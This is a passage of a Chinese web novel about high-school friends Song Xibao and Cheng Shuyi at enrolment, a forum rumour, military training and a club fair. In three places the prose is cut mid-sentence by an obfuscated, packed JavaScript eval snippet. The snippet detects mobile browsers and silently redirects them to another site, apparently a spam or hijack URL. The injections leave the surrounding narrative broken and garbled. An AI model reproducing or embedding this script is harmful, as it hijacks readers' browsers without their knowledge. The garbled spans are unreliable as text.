程书逸：“哦。” 知道周笃文也回来了，宋西宝顺便把他也给叫上了，说一起去程书逸家看猫。 三人一进屋，警觉的饼干就伏低身子小腿飞快地蹿到了卧室门口瞪着他们，要不是程书逸临出门前把卧室门关了，它这会儿早蹿床底下去了。 尽管饼干拼死反抗，但最终还是没能忍住零食的诱惑，屈辱地上前接受了宋西宝的抚摸并如愿得到了两块鸡肉干的投喂。 宋西宝一个劲儿地对着饼干絮叨自己当初是怎么救下它的，也不知道饼干是不是听懂了，竟顺着她抚摸的手原地躺下，然后对着她露出了圆滚滚的肚皮。 程书逸：“……” 来前三令五申提醒宋西宝——“饼干很高冷、很凶”的程书逸无语地看了眼地上卖萌的肥猫，内心沧桑一片。 宋西宝注意到家里少了个人，于是问：“晓琴阿姨去哪儿了？出去上课了吗？” 程书逸摇头，说：“我妈她没教跳舞了，她找了份新工作，这段时间去北京培训去了。” 古晓琴的新工作是家具销售，公司总部在北京，但在全国不少城市都开了分部。 这份工作其实也不是她自己找的，是公司的老板、她初中的老同学主动找到她说请她去自己的家具公司上班。 谭淑媛说不放心，本来还想陪她去北京看看真假再回来，结果最后被古晓琴找理由说让她帮忙照看儿子才劝住了没跟着去。 很快，外出游玩的伙伴们陆陆续续都回来了，方思彤在三亚玩了大半个月皮肤直接晒黑了两个度，蒋博光最夸张，走的时候还是标准黄种人，回来直接晒成黑人了。 季苒是最晚回来的，因为她在季妈妈工作的厂里找了个零工的活干，人家老板给她开八十块钱一天，她一共干了36天，挣了2880，这在当时对他们几个孩子来说可是一笔不菲的收入，把大伙都给羡慕坏了。 季苒头回挣到这么多钱，虽然累，但是心里还是很高兴的。 从深城回来前，她专门拿信封装了一千块钱留给妈妈，然后又特地进了趟关内，去了几个热闹繁华的地方，给老家的朋友们挨个挑了礼物。 买完礼物她手里的钱就还剩八百多，她给外婆拿了五百，最后自己就留了三百多点。 中考毕业后的这个假期看似漫长，但一眨眼，就走到了尾声。 新生入学这天，一大早，周笃文老爸就开着他新买的大众载着儿子出发去学校了。 他们车刚开出小区，周笃文眼尖地瞥见蒋博光和他奶奶正站在路边等公交，于是忙让老爸停车，然后降下车窗招手喊蒋博光道：“博哥！博哥！这儿！” 蒋博光眼睛一亮背着书包小跑过去，先盯着车身目不转睛地来回看了好几眼，驾驶位上周鹏发降下车窗，招呼他说：“小蒋，上车，我顺路载你们一程。” 蒋博光跟没听见似的，咧嘴傻笑，只顾着看车了：“周叔，您这车可真帅啊！” 周鹏发哈哈大笑，说：“你小子好好读书，将来学好本事，也能买这么帅的车！”又说，“快，去把你奶奶叫过来，我们顺路送你们过去。” “诶！谢谢周叔。”蒋博光忙折身返回站台去叫奶奶。 其他人陆陆续续也出发了，因为古晓琴人还在外地培训赶不回来，所以给程书逸办理入学这事便又一次地落在了宋家夫妻俩身上。 他们出门晚了点。 因为临出门前谭淑媛突然发现自己户口本没拿——她明明记得昨天晚上她提前收拾好了装包里了，结果要出门了就死活找不到了。 最后四个人在家里鸡飞狗跳地找了好一阵才找着东西。 两个大人送娃报道焦虑得不行，下楼的时候一惊一乍地挨样检查，生怕漏带了什么。 今天几个学校都开学，小区门口的出租车资源紧俏，他们等了好一会儿才抢着上了一辆车。 车上，宋卫国坐在前面副驾驶，谭淑媛带两个孩子坐在后排，她看了看身旁这一双儿女，感慨道：“时间过得太快了，想想上次给你们两个小家伙一起报名还是你们读小学那会儿，这一眨眼，你们都要读高中了……” 两个孩子不知道怎么接这话，倒是司机很健谈，顺势接嘴道：“你们这两个孩子争气，都考上四中了！我们家里那个，才考你妈四百多分，想在市里读书还要交高价！” 司机边说边摇头，三个大人围绕交高价这事聊了起来，宋西宝嫌他们吵，偏过头去望着窗外，忽然耳朵里被人塞了个东西，她扭头一看，是程书逸塞给了她一只耳机。 程书逸：“听吗？” “嗯。”宋西宝点点头，同时犯困地打了个哈欠。 最后车还没开到四中校门口就被堵得停下了，前后几扇车窗纷纷降下，宋卫国伸出头去往前看了眼，宋西宝也忙探出头去看，只见乱七八糟的私家车挤在四中校门口把路都给占满了，两个交警正在前方疏通，谭淑媛果断发令道：“下车吧，没多远了，我们走过去。” 今天只是高一新生入学，高二和高三的都还没来，但学校里已经挤得到处都是人了。 校门口立了引导牌，负责指引各位家长的老师拿着喇叭不断重复：“请家长们先到布告栏前找到自己孩子的班级，然后前往明理楼找到对应班级教室办理入学！请家长们先到……” 布告栏前挤得人山人海，宋西宝自告奋勇说：“我去找，爸妈你们在这儿等我。” 她说完就跑，程书逸一点也不想去人堆里挤，但又怕她被人挤倒，忙跟了上去：“宋叔谭姨，我也去看看——西宝你慢点！” 谭淑媛： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984288|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶好！慢点啊！” 宋西宝挤进人堆，刚看到点布告栏的影子，结果前面有人使劲挤着要出来，她被人撞了一下，重心不稳差点往后跌到，还好程书逸眼疾手快冲上来扶住了她。 程书逸一脸严肃：“让你慢点，行了你别进去挤了，我进去给你找。” 宋西宝乖乖哦一声站好，程书逸正准备往里走，忽然瞧见了谁，喊了一声：“周笃文！” 宋西宝跟着踮脚往里看。 程书逸又喊了两声，周笃文听见了，转头朝后看了一眼。 程书逸个子高，他一下就瞧见了，忙挥了挥手，示意两人往外退，同时拼命吼道：“先出去！你们的我都找到了！出去说！” 程书逸拉着宋西宝刚退出去就撞上了方思彤和她爸爸，方乾阳推推眼镜，说：“西宝，程书逸，你们也来了。” 俩小孩立马立正喊了声方老师好！ 宋卫国拉着谭淑媛急匆匆走过来，招呼一声：“老方！来了！” 方乾阳：“刚到刚到，我们也是刚到！” 几家人凑在了一处，周笃文挨个说：“西宝在十四班，思彤和我在六班，程书逸在八班。” 摸清班级后，大家伙一起顺着指引牌往明理楼走，路上，方思彤凑过去问周笃文：“你怎么跟我分到一个班了？你都能进重点班了？” 周笃文扭头看眼他爸，又扭回来，冲方思彤搓搓手指道：“我爸找关系把我塞进去的。” 方思彤了然点头，原来是钞能力！ 宋西宝傻乎乎的，才不关心什么重点班不重点班的，她一路都在留意食堂在哪儿？操场在哪儿？程书逸瞧她四处张望那傻样就想笑。 到了明理楼，大家各找各班，宋家这边还是老方法，一人带一个。 老宋带着小宋飞快找到了十四班的位置，因为他们不办住校，手续走得很快。 宋西宝还专门留意了一下他们班主任——男的，姓魏，单名一个勇字，瞧着非常年轻，估计也就二十多岁的样子，斯斯文文戴副眼镜，一看就是个好欺——啊呸，好温柔的人。 魏勇收了入学通知书和学费，递给父女俩一张单子，嘱托他们先去西食堂二楼交费办饭卡，然后下午两点半学生到教室集合，家长不再随同。 宋卫国连连点头，宋西宝瞧着这个班主任面善，还呲着大牙冲他笑了一下，把魏勇笑得一愣。 从十四班教室出来后，宋卫国担心办饭卡那边人太多要排很久队，便让宋西宝先去找妈妈他们，他自己则先去食堂排队等他们过来。 宋西宝上楼找到八班，走廊里这会儿全挤得是学生和家长，程书逸和谭淑媛在前面排着队，宋西宝一看挤不过去，便冲着队伍前面喊了一声：“妈！程书逸！” 结果她这一喊，不光她妈和程书逸回头了，周围的人也都看了过来。 宋西宝还以为是她喊得太大声了吵着别人了，有点不好意思地抿了抿嘴巴。 程书逸艰难地拨开人群来到她面前，还没来得及开口，旁边一个四眼田鸡冲上来就问：“你就是程书逸！” 宋西宝上下打量他一眼，替程书逸回道：“啊，他就是程书逸，你谁啊？” 四眼个头比程书逸矮些，跟宋西宝差不多高，很瘦，且有点黑，藏于镜片后的一双眼瞧着甚是机灵，聪明劲跃然纸上。 只见他食指一推眼镜，甚为严肃道：“鄙人蔡春华。程兄，我排你后边——”他边说边举起右手正反转着比了个耶。 28. 谣言 宋西宝扭头看程书逸，一脑门问号：“他说排你后边？什么意思？” 程书逸面上没什么多余的表情，但微微抿向两侧的唇角还是暴露出了一点他内心的无语。 “入学排名，我第一，他第二。” 其实程书逸本来也没明白蔡春华比个耶是什么意思，不过刚排队他在教室门口看了眼班级名单——第一是他，第二就叫蔡春华，前后联系一下，他估摸着对方应该是这意思。 果然，他猜对了。 蔡春华嘿嘿一笑，朝他伸出手道：“程兄，你好！” 面对蔡春华的热情问候，程书逸并不想搭理。 如果说以前的他只是天性不善交际，那么经历了家庭剧变后的他则是对人，尤其是陌生人失去了最基本的信任。 就像饼干一样，他现在只能接受自己熟悉的、充分信任的人靠近，至于别的，他多一眼都懒得看，谁知道对方人皮之下是人是鬼呢？ 程书逸拽着宋西宝的衣服袖子就要走，宋西宝“诶诶”两声拉着他停下来。 程书逸不高兴地瞪了她一眼，宋西宝以眼神示意他稍安勿躁，然后转过身笑眯眯问面前男生道：“这位‘春花’同学，你……” 宋西宝话还没说完就被蔡春华打断了，他表情严肃地纠正她道：“是春华，春华秋实的春华，不是春花！” “哦哦哦，不好意思，我刚听错了。”宋西宝抱歉一笑，心里忍不住腹诽：就说怎么会有父母这么离谱给自己儿子取个名叫春花？原来是她听错了。 蔡春华看出来了程书逸不想跟他握手，很自然地就把手收了回去，既没觉得尴尬，也没觉得生气，落落大方的样子让宋西宝对他很是有“好感”。 宋西宝想，程书逸一个人在八班，他又不擅长交朋友，万一遇到什么问题连个帮把手的人都没有。 蔡春华这人看起来和善可亲，她想着，程书逸跟这样的人打起交道来应该会轻松些。 宋西宝正准备帮他拉近拉近关系，给对方留个好印象，结果她还没开始社交呢就被程书逸一把拽走了。 “你妈在前面叫我们了。”程书逸说。 宋西宝只好匆匆忙忙冲蔡春华挥了挥手，说：“回见啊春花！” 蔡春华：“……是春华！” 宋西宝万万没有想到，她就这么在八班教室门外晃了一圈的功夫，当天下午竟然就有谣言传说她跟程书逸是兄妹！ 鉴于他俩不同姓，谣言还分了好几种，有说他俩分开跟爸妈姓的，也有说他俩是重组家庭的，还有说他俩其实是表兄妹的。 下午宋西宝一进教室，她的同桌谢飞燕就八卦兮兮地凑了上来，问她跟那个年级第一的大帅哥是什么关系？ 宋西宝“啊”了一声，多问了两句才知道还有这种谣言，不过她更关心的是，为什么大家会传她跟程书逸的谣言啊？这不才刚开学吗？他俩这么出名吗？ “不是你出名，是程书逸出名。”谢飞燕说。 趁着班主任还没进教室，她鬼鬼祟祟地在桌下摸出手机捣鼓了两下，然后递给宋西宝看。 “这是我们学校贴吧，你自己看吧，他真的老出名了，中考726跑来读四中，他不光在我们学校出名，估计别的学校都知道他，毕竟今年我们市的中考状元才考了705，你知道排名第二的蔡春华被他甩开多少分吗？37分！！” 谢飞燕越说越激动，脸都有些变红了。 宋西宝示意她冷静：“不能这么比吧，他在海市参加的中考，两个地方卷子都不一样。” “哎随便啦，你先看这个。”谢飞燕催她。 宋西宝看了眼帖子，这帖子的标题取得非常耸动，叫“今年新生据说是个中考726的超级大帅哥！！点击进来看脸！！！” 宋西宝刚点进去就被惊了一下——镇楼图放的就是她跟程书逸的照片，拍照的人抓拍了他俩在布告栏那儿的时候，她被人撞差点跌倒，程书逸从后面扶住了她。 这张照片只能看到程书逸的侧脸和她的后脑勺，她往下看回复，发现超级多人都在夸程书逸侧脸好看，背影杀。 她眉头一皱，又翻上去看了眼，好看是好看，但是有他们形容得那么夸张吗？ 谢飞燕在旁边催她：“你再往下翻，下面还有！” 还有？ 宋西宝往下翻，果然，还有。 拍的就是她去八班找程书逸的时候，蔡春华也被拍进去了，下面回复的人不光夸程书逸，还拉踩蔡春华，说他跟程书逸比长得丑太多了，像只会死读书的书呆子。 这些攻击蔡春华的言论不是很友好，宋西宝只粗略看了几眼就翻走了，然后她停在了某层楼的回复上—— 她看到一个id叫“泡泡蝴蝶”的人在楼中楼里问了一句：“程书逸旁边那个女生是谁啊？” 下面很多人回复，有夸她漂亮，打听她在哪个班的；也有人说长得也就那样吧，比不上附中升上来的吴静初。 吴静初……这个名字宋西宝有印象，初中的时候她就听蒋博光说起过，说是附中的校花，长得特别漂亮，学习成绩也好！ 宋西宝又往下翻了两页，看到有人站出来回了句：这是程书逸他妹。亲生的。 再往下翻，又有人说：不是亲生妹妹，好像他俩是重组家庭那种…… 有人问：真的假的？ 这人还回：真的，我就在现场，我亲耳听到程书逸管他妹妹的妈叫的阿姨。 宋西宝：“……” 这都什么跟什么啊？ 刚好这时候魏勇进来了，跟大家说待会儿去学生活动中心领军训服的事。 宋西宝把手机递还给谢飞燕，悄悄说：“这些人胡说八道的，我跟程书逸是邻居，不是兄妹！那天之所以是我妈妈带他去报的名是因为他妈妈人在外地工作没时间回来，我跟他根本就不是什么重组家庭，这些人太离谱了！” 谢飞燕看她表情严肃，讷讷点了点头，然后说：“那要不要我帮你发个回复澄清一下？” 宋西宝说：“可以啊，正好我没有贴吧账号，你就随便帮我说一下吧，就说我跟他只是邻居。” 谢飞燕：“嗯嗯！” 军训服是按班级次序从前往后依次去活动中心领取，由广播通知到哪个班哪个班就去，广播没通知到的时候，各班就由班主任组织学生在教室观看新生入学教育的视频。 宋西宝最烦听校纪校规，听到一半就忍不住借口上厕所溜了出去。 她躲在厕所给小伙伴们发消息，顺便把谢飞燕发给她那个离谱帖子发到了群里。 很快，群里众人就活跃了起来，除了季苒。 【心碎??了無佷：哈哈哈哈哈哈，兄妹是什么鬼？你俩咋刚开学就出名了？】 【心碎??了無佷：说实话羡慕了，我一个人在八中好无聊啊！！感觉班上全是一帮脑残！】 【师爷：那你岂不是如鱼得水？】 【心碎??了無佷：你不要以为我听不出来你是在骂我也是脑残！】 【师爷：博哥长进了。】 【血燃彼岸花フ：博哥长进了。】 他们几个吹水吹了好一会儿，程书逸才冒头，打了一串省略号发在群里： 【阿饼：……】 【最近爱吃炸土豆：占我便宜！凑不要脸！】 【阿饼：……关我什么事？帖子又不是我发的。】 【阿饼：这些人好无聊。】 【最近爱吃炸土豆：呵呵，这些无聊的人还夸你是个大帅哥呢！】 【阿饼：这个确实是实话实说。】 【心碎??了無佷：凑不要脸！】 【师爷：凑不要脸！】 【最近爱吃炸土豆：凑不要脸！】 很快，广播通知到宋西宝他们班了，她匆匆在群里发了个拜拜然后滚回了教室。 等到她们领完军训服已经快五点了，回教室的路上，谢飞燕问宋西宝，待会儿要不要一起去食堂吃饭？ 宋西宝说：“今天先不了，我跟别人约好了，下次再跟你一起去吧！或者要不你跟我们一起？” 谢飞燕问：“别人是你说的那几个邻居吗？程书逸也一起吗？” 宋西宝点点头，又问她：“要一起吗？” 谢飞燕想都没想就点了头，神色难掩激动道：“我想看看他真人到底有多帅！” 宋西宝：“……” 五点下课铃响，静谧的教学楼忽然嘈杂起来，学生们蜂拥而出冲向食堂，放眼望去，好多人已经把新领的军训服穿在身上了。 宋西宝跟谢飞燕慢慢往楼下走，说：“我们去一楼等他们。” 想到待会儿就要见到程书逸了，谢飞燕表现得很紧张。 她个子比宋西宝矮很多，宋西宝净身高快一米七了，而谢飞燕才一米六不到。 她是圆形脸，长相可爱，眼睛又大又圆，戴的黑框眼镜也是圆的，发型就是齐刘海，然后简单地扎了两条马尾辫垂在胸前，瞧着就跟阿拉蕾一样。 此时她的脸正因为过度紧张和兴奋而微微发红。 程书逸是和周笃文、方思彤一起下楼来的，宋西宝在一楼的院子里等他们，看见他们后忙挥了挥手，然后招呼谢飞燕道：“他们下来了。” 程书逸一看她带了新人来就忍不住在心里冷笑了一声——他对宋西宝的社交能力真是佩服得五体投地，这才开学第一天，她就认识新朋友了，都能手拉手一起去食堂吃饭了，反观他，到现在连同桌到底是姓赵还是姓李都还没搞明白呢…… 宋西宝向三人介绍了谢飞燕，谢飞燕表现得很拘谨，脸上两抹红霞凸显，完全不像面对宋西宝时那么热情和自如。 宋西宝猜测可能是因为有“某帅哥”在场，谢飞燕有些不好意思。 谢飞燕声音细若蚊蚋地同三人说你好，周笃文和方思彤都很友善地回应了她，只有程书逸，擎天柱似的站在那儿一动不动，谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990490|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞燕两只手尴尬地抠过来抠过去，都不敢仔细看他。 宋西宝眉毛一皱，伸手拽了程书逸一把：“说话，耍什么酷？” “……”程书逸不情不愿地瞪了宋西宝一眼。 谢飞燕正想摆手说没事，结果就见程书逸忽然点头冲她示意了一下，接着又率先转过身下了台阶说：“再不走食堂没饭了。” 帅哥匆匆一瞥，谢飞燕有点没回过来神。 宋西宝笑嘻嘻拉了她一下，说：“走吧，吃饭去！” 四中一共有两个食堂，一个是西食堂，一个是东食堂，两个食堂虽说都挂着“学生食堂”的牌子，但东食堂只对学生开放一楼大堂区域，二楼及三楼是教师专用食堂，学生上不去。 开学第一天，东食堂闭门没开，西食堂也只开放了两层楼。 他们赶到西食堂的时候，一楼大锅饭窗口已经没什么学生在排队了，当然，菜也没剩多少了。 谢飞燕小心地瞅了他们四个一眼，鼓起勇气举起饭卡说：“要不我请你们去二楼吃小炒吧？” 宋西宝问：“二楼小炒好吃吗？” 谢飞燕拼命点头道：“好吃！贴吧里好多学长学姐都说好吃！好像有个窗口还有卖糖醋里脊和糖醋排骨！” 宋西宝眼睛一亮，问：“有没有可乐鸡翅？” 谢飞燕还没说话，程书逸长腿一抬，率先朝二楼走道：“去看看不就知道了。” 宋西宝：“走走走！” 一楼的大锅饭卖得都差不多了，但二楼的小炒窗口还剩不少菜，可能是因为小炒窗口普遍要贵一些。 宋西宝拉着两个女生快速跑了一遍所有窗口，没发现有卖可乐鸡翅的，不过7号窗口有卖红烧鸡翅——宋西宝从小爱吃鸡翅，可乐味是她的最爱，当然红烧的也不差。 谢飞燕再次提出想请他们四个吃饭，宋西宝示意她先选菜，谢飞燕选了两份荤菜，宋西宝问她：“你吃这点就够了啊？” 谢飞燕不好意思地点点头，其实她有点挑食，连这些都吃不完，如果今天只是她自己的话，她应该最多选一份小炒就够了。 跟谢飞燕不同，宋西宝一上来就拿了六七份小炒，嘴里还嘀嘀咕咕地说这个也想吃那个也想吃。 谢飞燕默默在心里算账，肉疼极了，都怕自己饭卡里钱万一不够待会出糗，结果出乎意料地，他们挑好菜后宋西宝却没让她请客，而是朝那个叫周什么文的男生打了个响指，然后对方二话不说地就上前去刷卡付钱了。 谢飞燕：“？” 他们往窗边的空座走，宋西宝给她解释说：“这是我们队伍里的财神爷，每年开学第一顿饭都他请，说好了的。” 周笃文见谢飞燕看过来，笑了下，说：“对，今天这顿饭我请，你想吃什么随便拿，不用不好意思。” “瞧见了吧？”宋西宝斜眼挑了挑眉。 程书逸极为上道，立马说：“师爷，我要喝可乐。” 周笃文：“买！” 方思彤：“可乐加一。” 宋西宝：“加二！” 四人齐刷刷看向谢飞燕，谢飞燕嗫嚅着，说：“我不太喜欢喝可乐，我要一瓶雪碧吧，可以吗？” 周笃文：“好，你们先坐，我去买！” 他们今天这一顿晚饭吃得非常丰盛，五个人拿了十三份小炒，还几乎都是荤菜，谢飞燕在心里感概，还好他们没真的让她请客，这餐标她可请不起。 她有点羡慕宋西宝跟朋友们的关系，感觉特别大方自然，要换做是她，她就会很不好意思，即使朋友说了请客，可能最后她也会想AA，不太愿意欠别人人情。 宋西宝早饿了，这会儿简直是狼吞虎咽，谢飞燕才吃小半碗饭的功夫她第二碗饭已经消灭大半了，可以说比对面那俩男生吃得还快。 她吃得实在太快，中途程书逸抬手敲了敲她那边的桌面，谢飞燕刨饭的动作一顿，就听宋西宝嘟囔一声，接着不情不愿地把吃饭速度降了下来。 旁边两个——方思彤和周笃文仿佛对这一幕都见怪不怪了，他们埋头吃得认真，谁也没有多看那俩人一眼。 谢飞燕独自感受着心里的惊涛骇浪，十分艰难才把上翘的嘴角给压了下来。 吃着吃着，方思彤忽然起了个话头，问程书逸：“程书逸，你有喜欢的人吗？” 程书逸一口饭差点喷出来，他表情茫然地“啊”了一声，旁边三人也愣住了，周笃文更是眼神惊异地看了方思彤一眼。 方思彤看了眼他们几个，表情淡定自若道：“哦，我帮别人问的。我同桌好像对你挺感兴趣，她今天上午看见我跟你们一起走，下午我一到教室她就跑来问我是不是认识你，然后还托我打听你有没有女朋友？” 程书逸表情跟吃了屎一样难看，瞬间对自己选择四中的决定产生了怀疑——什么垃圾省重点？这招进来的都是些什么奇葩？ “没有。”程书逸冷着张脸道，“早恋是违反校纪校规的。” 29. 军训（1） 第二天上午八点，学校通知所有新生穿好军训服前往一操场集合。 宋西宝军训服选的是M码的，穿上后长短倒是够了，但腰身和裤腿都异常肥大。 女厕所镜子跟前人满为患，宋西宝换好衣服后也没多看，瞥了一眼，随便扎了个马尾就走了，谢飞燕没她那么自信，总感觉自己穿上这个军训服要多丑有多丑，在镜子面前倒腾了半天才离开。 这会儿太阳正晒人，宋西宝因为个子高，排队伍时主动站在了最后面，她是个闲不住的人，很快就跟周遭的同学聊了起来。 有跟她一样不怯生的人上来就问她认不认识八班的程书逸，宋西宝说：“认识啊，我小弟。” 大家也只当她是在开玩笑。 其中有个叫邱俊杰的男生性格异常欢脱，他跟宋西宝之间原本还隔着几个人，结果聊着聊着就站到她旁边来了。 邱俊杰皮肤偏麦色，面相看起来很阳光，发型也是留的短寸，浓眉大眼，骨相立体，瞧着十分清爽，不过就是话有点太多了，比她话还多。 校领导磨磨唧唧站在主席台上讲话，宋西宝就听见一句“军训为期七天”然后就没注意听了，一直到台上部队的领导宣布教官队伍进场，她才打起点精神，同大多数人一样，踮起脚朝前面跑道望去—— 教官们瞧着可比他们这帮散兵强多了！那精气神一看就不一样！ 领导在台上喊口号，年轻的教官们双脚分开，双手交叉握于身后，个个神情肃穆，威严得不行。 下午正式军训就开始了，宋西宝他们班分配到的教官因为皮肤较黑，同学们私底下都管叫他“黑皮”。 黑皮瞧着精瘦，力气却很大，整队训练的时候，邱俊杰因为说小话被批评了还不服管，直接被黑皮拎到了所有人面前，然后两人扳手腕——谁赢了听谁的。 黑皮说为了公平起见，让邱俊杰用双手，而他只用左手，但即便这样，邱俊杰也没能扛过五秒钟。 黑皮教官赢了，大家拍手欢呼，却被黑皮严厉训斥：“我让你们鼓掌了吗？让你们说话了吗？所有人，原地保持俯卧撑姿势三十秒！” “啊……” 大家叫苦连天。 “一分钟！” 没人再敢发出声音。 所有人顶着烈日趴了下去，宋西宝听到隔壁十三班的教官拿他们当例子教训本班学生，语气极尽嘲讽，听得她集体荣誉感蹭一下就起来了。 她悬空撑着，姿势比男生做得还标准，黑皮一眼就瞧见了，又开始吼：“你们还是不是男人！一个俯卧撑做的还没人家女生标准！全体起立！” 宋西宝刚站起来，黑皮就伸手一指将她叫去了队伍前面。 “你叫什么名字？”黑皮问。 宋西宝回答：“宋西宝。” 黑皮又问：“你叫什么名字？” “……”宋西宝想起教官那会儿刚教的打报告，大声答道，“报告教官！我叫宋西宝！” 我叫你恁爹！ “宋西宝，俯卧撑准备！”黑皮发令。 宋西宝立刻俯身趴地做了个标准的俯卧撑姿势。 一分钟后，黑皮让她起来了。 宋西宝刚归队，气都还没喘匀，黑皮便又下令让全体一分钟俯卧撑准备。 宋西宝：“……” 没办法，她只能又跟着大家齐刷刷趴下去。 宋西宝原本盼望着教官会给他们上器械，结果一个白天过去，他们训练的内容不是站军姿就是齐步走，解散的时候，她小腿练得都有些酸疼了。 晚饭谢飞燕没跟宋西宝一起，因为下午练站军姿那会儿她突然发现自己来月经了，还弄到了裤子上，所以直接就请假走了，说是回家去换衣服，今天应该都不来了。 宣布解散后，宋西宝正准备去六班找方思彤他们，结果邱俊杰叫住她，问她要不要跟他们一起去食堂吃饭？ 邱俊杰不是一个人，他身后还站着好几个勾肩搭背的男生，此时全都不怀好意地笑着看他俩，还有人从旁起哄道：“走嘛宋大美女，给我们邱哥一个面子嘛！” 邱俊杰假装生气地吼了那人一句，让他闭嘴。 宋西宝不像季苒，她可不怕跟说话流里流气的男生打交道，更不怕男生们那些莫名其妙的无礼眼神。 宋西宝眼神掠过邱俊杰，问说话的那个男生：“我跟你很熟吗？你谁啊上来就让我给面子？” 大概是没想到她会是这么个反应，那男生脸上有点下不来台，恼怒之下，忿而出口道：“你叼什么啊？叫你一声美女还真以为自己是天仙了？” “黄栋！”邱俊杰扭头吼了一声。 宋西宝冷笑一声，说：“我是不是天仙不知道，但你嘴臭是真的。” “你！” 宋西宝转身就走，才不搭理他们几个。 邱俊杰跟上来给她道歉，说黄栋就是开个玩笑，让她别生气。 操场上这会儿学生挺多的，都在往外走准备去食堂吃晚饭，他们几人动静闹得不小，早就有人看过来了，宋西宝可不想刚开学就接连出名，于是对邱俊杰说：“没事，我没生气。” “真的？那你跟我一起去吃饭吧？”邱俊杰说。 宋西宝觉得他这人脑子真是有毛病：“我为什么一定要跟你一起去吃饭啊？” 邱俊杰：“那你不跟我一起去吃饭你就是生气了。” 宋西宝：“……” 她忽然有点懂了程书逸对她说“对牛弹琴”这四个字时的心情。 “宋西宝。” 有人叫了她一声。 宋西宝转头看，瞧见程书逸、周笃文还有方思彤过来时，心里立刻谢天谢地地松了一口气：“行了行了，我朋友来找我吃饭了，你也快去跟你的朋友吃饭吧。” 邱俊杰顺着她视线抬头往前看了眼，宋西宝跑过去，还没来得及说话，程书逸一把将她拽到他跟周笃文中间护着，然后抬头目光不善地看了眼邱俊杰。 邱俊杰对上程书逸的视线后，眼神一下也变了，两个人斗鸡似的互相瞧着，直至擦肩而过。 往食堂走的路上，周笃文问：“刚那人谁啊？” 宋西宝不耐烦道：“我们班的，烦人得很，非让我跟他一块去吃饭。” 方思彤不解道：“他为什么非要你跟他一块吃饭？” 宋西宝摇头：“不知道，他可能觉得跟我聊得来吧？” 程书逸轻哼一声：“你跟谁都聊得来。” 宋西宝：“对啊，怎么了？你羡慕嫉妒恨啊！” 程书逸：“我嫉妒你个屁！” 四人打完饭刚坐下来，一个不速之客忽然端着餐盘在程书逸身边坐下了—— “春花！”宋西宝一脸惊喜的看着来人。 蔡春华都懒得纠正她了，问程书逸：“程兄，你这没人吧？” 程书逸头都没抬，说：“你不是都坐下了？” 蔡春华表情有点尴尬，善解人意的宋西宝忙道：“这儿没人春花同学，你坐吧！快坐快坐！” 程书逸抬起眼皮看她一眼，搞不懂她怎么对谁都这么热情？ 蔡春华坐下后，还没吃两筷子菜就开始问程书逸：“程兄，听说会操表演当天你要上台演讲啊？” “演讲？什么演讲？”宋西宝问。 程书逸说：“就是上台去念个稿子，不算什么正经演讲。” 蔡春华一脸钦佩地看着他：“程兄，你太谦虚了！” 程书逸：“……谢谢。” 宋西宝边吃饭边看他俩，感觉春花似乎不用她费劲就挺乐意跟程书逸当朋友的，当然前提是程书逸也乐意的话。 军训白天累，到晚上就轻松多了，唱军歌、玩游戏、听教官讲自己的当兵史，气氛那叫一个热闹。 新生军训快要逼近尾声时，高二高三陆续开学了。 食堂一下变得拥挤起来，有的新生班级就会央求教官中午提前十分钟解散队伍，好方便他们去抢饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程书逸看都没看就把报名表递了回去，说：“不好意思，不感兴趣。” 女生热情满满，把他手挡了回去，劝说：“哎呀你先别急着拒绝嘛，你都还没听我给你讲我们学生会是干什么的呢？” 周笃文看出来了，这女生虽然给他俩都递了报名表，但真正的目标应该只有程书逸一个人，他就是捎带手而已。 明白这点后，周笃文折好报名表礼貌退出对话，说自己先去找宋西宝他们了。 程书逸一听，当即便把报名表塞回了女生手里，急匆匆跟上去道：“师爷你等等我！” 宋西宝正在文学社的摊位上登记自己的姓名学号还有班级，指导她填单子的正是文学社的社长，高二四班的徐嘉树。 徐嘉树身姿挺拔，相貌堂堂，眉眼不似程书逸一般冷寂，也不似邱俊杰一般欢欣，而是介于这二者之间，自带一股温润柔和的气质，尤其是他笑起来时，宛如春风拂面一般让人觉得舒服极了。 程书逸一过去就看到宋西宝和徐嘉树相谈甚欢，甚至他还难得地在宋西宝脸上看到了一点娇羞的表情。 “……” 被程书逸甩下的女生匆匆追上来，顺着他视线看过去，了然一笑，清清嗓，凑近给他科普道：“那是文学社的社长徐嘉树，走艺体学画画的，长得帅又有才，我们学校花痴他的女生可多了。” 程书逸右撤一步同她拉开距离，同时皱眉道：“你跟我说这个干嘛？” 女生扭头看了眼宋西宝，问他：“那是你朋友吗？长得还挺漂亮的。” 程书逸斜她一眼：“……你究竟想说什么？” 女生朝他笑笑，再一次向他抛出橄榄枝道：“我看你长相不错，本来是想拉你进文艺部或者外联部的，不过现在看情况……你要不要考虑进我们社联部试试，温馨提示，社联部全称社团联合管理部，主要是干什么的，不用我多讲了吧？” 30. 军训（2） 